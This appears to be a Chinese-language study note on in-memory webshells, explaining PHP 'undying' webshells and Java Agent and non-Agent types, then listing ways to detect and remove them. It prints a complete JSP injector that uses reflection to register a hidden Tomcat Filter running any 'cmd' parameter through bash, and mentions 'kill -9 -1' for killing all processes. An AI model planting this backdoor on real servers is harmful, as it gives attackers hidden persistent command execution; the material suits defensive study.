前言
此次学习仅为内存马的初步认识,尤其是java内存马还需更深入研究
内存马概述
Webshell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。黑客通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。
常见的webshell有php、asp、aspx、jsp、jspx等。而无文件webshell,在早期的攻防演练中可以有效的躲避传统安全软件和设备的检查,主要以在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马。
PHP不死马
PHP内存马简述
PHP内存马也叫不死马,其主要原理是删除自身然后以进程的形式循环创建隐蔽的webshell,在AWD的比赛中用的较为广泛。以一个网上广为流传的版本为例分析。
代码分析
其中ignore_user_abort(true)函数设置与客户机断开也会继续执行脚本,set_time_limit(0)使时间不受限制,通过unlink(FILE)函数删除自身文件,然后从第五行代码开始定义webshell并在后面无限循环生成其中usleep(5000)函数用来定义间隔时间。
查杀方法
1、不死马是加载在内存中的攻击方式,因此如果条件允许的话重启服务器是最有效快捷的解决方法。
2、Kill -9 -1 命令可以杀死当前用户权限下服务器上所有的进程
3、写一个ignore_user_abort(true)函数的PHP脚本,并写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果。
JAVA 内存攻击
与PHP内存马实现有所不同,java类型的内存马简要原理是内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码。
JAVA内存马类型
主流的内存马攻击可分为以下两个大类
1、Agent型:利用instrument机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。
2、非Agent型:通过新增一些Java web组件(如Servlet、Filter、Listener、Controller等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。
Tomcat filter内存马的实现
Filter即过滤器,其作用是对web资源进行过滤拦截,在处理后交给下一个过滤器或者servlet处理。Filter的生命周期会经历初始化(init)、拦截(dofilter)、销毁(destroy)的过程。
根据filter的特性我们使用网上流传的的jsp文件加载内存马
<%@ page import=”org.apache.catalina.core.ApplicationContext” %>
<%@ page import=”java.lang.reflect.Field” %>
<%@ page import=”org.apache.catalina.core.StandardContext” %>
<%@ page import=”java.util.Map” %>
<%@ page import=”java.io.IOException” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page import=”java.lang.reflect.Constructor” %>
<%@ page import=”org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=”org.apache.catalina.Context” %>
<%@ page language=”java” contentType=”text/html; charset=UTF-8” pageEncoding=”UTF-8”%>
<%
final String name = “fengxuan”;
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField(“context”);
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField(“context”);
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField(“filterConfigs”);
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter(“cmd”) != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder(“bash”,”-c”,req.getParameter(“cmd”)).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern(“/*”);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print(“注入成功”);
}
%>
观察可访问任何servlet路由均可实现命令执行
查杀方法
因为内存马是加载在内存中无文件的webshell,因此无法直接通过扫描静态文件的方式扫出内存马,当我们发现内存马的存在的时候可能是攻击者造成了实际的危害。因此排查内存的思路大部分都是建立在通过痕迹来排查。
1、排查可疑的jsp访问记录
2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
3、根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
4、如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
5、如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200